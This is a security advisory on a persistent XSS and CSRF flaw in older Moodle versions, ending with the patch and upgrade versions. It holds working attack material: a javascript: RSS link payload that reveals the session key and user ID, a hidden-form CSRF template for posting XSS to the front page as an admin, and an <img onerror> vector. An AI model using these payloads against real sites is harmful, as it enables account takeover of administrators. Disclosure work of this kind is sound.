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                             Ciaran McNally

Application:     Moodle 
                 http://download.moodle.org/
Versions:        <= 2.3.8, 2.4.5
Platforms:       Windows, Mac, Linux
Bug:             Persistant XSS / CSRF
Exploitation:    WEB
Date:            9 September 2013.
Author:          Ciaran McNally
Web:             http://makthepla.net/blog/=/moodle-2-account-takeover
My Twitter:		 https://twitter.com/ciaranmak

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1) Bug.
2) The exploit.
3) Fix.

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Moodle is a Course Management System (CMS), also known as a Learning 
Management System (LMS) or a Virtual Learning Environment (VLE). 
It is a Free web application that educators can use to create effective 
online learning sites.
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1) Bug
======
At the following URL as a student,

http://server/blog/external_blog_edit.php

It is possible to remotely add an rss blog. The <link> parameter in an
rss feed is vulnerable to javascript injection. 
This blog post is viewable by everyone on moodle and you can link to it
directly. Upon clicking the "Link to original blog entry" link, you
get javascript execution.

In moodle the "sesskey" parameter holds the session key used to prevent
csrf, this isn't unique for every form once logged in so many forms can 
be submitted using this item. It is available on every page which makes 
xss quite dangerous in this case.

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==============
2) The exploit
==============

Using a link value of <link>javascript:prompt(document.domain);</link>
This will display a demonstrative prompt as expected.

For a live example you can remotely include my blog rss feed.
http://makthepla.net/Rss/
My moodle blog post has a <link> value of the following.
javascript:alert("Session key = "+M.cfg.sesskey+"\nUser ID = "+window.location.search.split("=")[1]);

This displays the session key and the current users id.


If you can get an admin to click the link and submit the following form
trough javascript, you can post xss onto the main login page of your
victim moodle site.

<input type="hidden" name="id" value="1">
<input type="hidden" name="sr" value="0">
<input type="hidden" name="sesskey" value="x">
<input type="hidden" name="_qf__editsection_form" value="1">
<input type="hidden" name="mform_isexpanded_id_generalhdr" value="1">
<input type="hidden" name="userdefaultname" value="1">
<input type="hidden" name="summary_editor[text]" value="THE FRONT PAGE DATA AND/OR XSS">
<input type="hidden" name="summary_editor[format]" value="1">
<input type="hidden" name="summary_editor[itemid]" value="">
<input type="hidden" name="submitbutton" value="Save+changes">

You can read more about this on the original blog post. 
You can get xss on the main login easily using html such as 
<img src=x onerror=XSS> when posting as an admin via csrf.


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3) Fix
======

https://tracker.moodle.org/browse/MDL-41623
(This requires a login to view)

Upgrade to versions 2.3.9, 2.4.6 and 2.5.2.

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--
maK :)
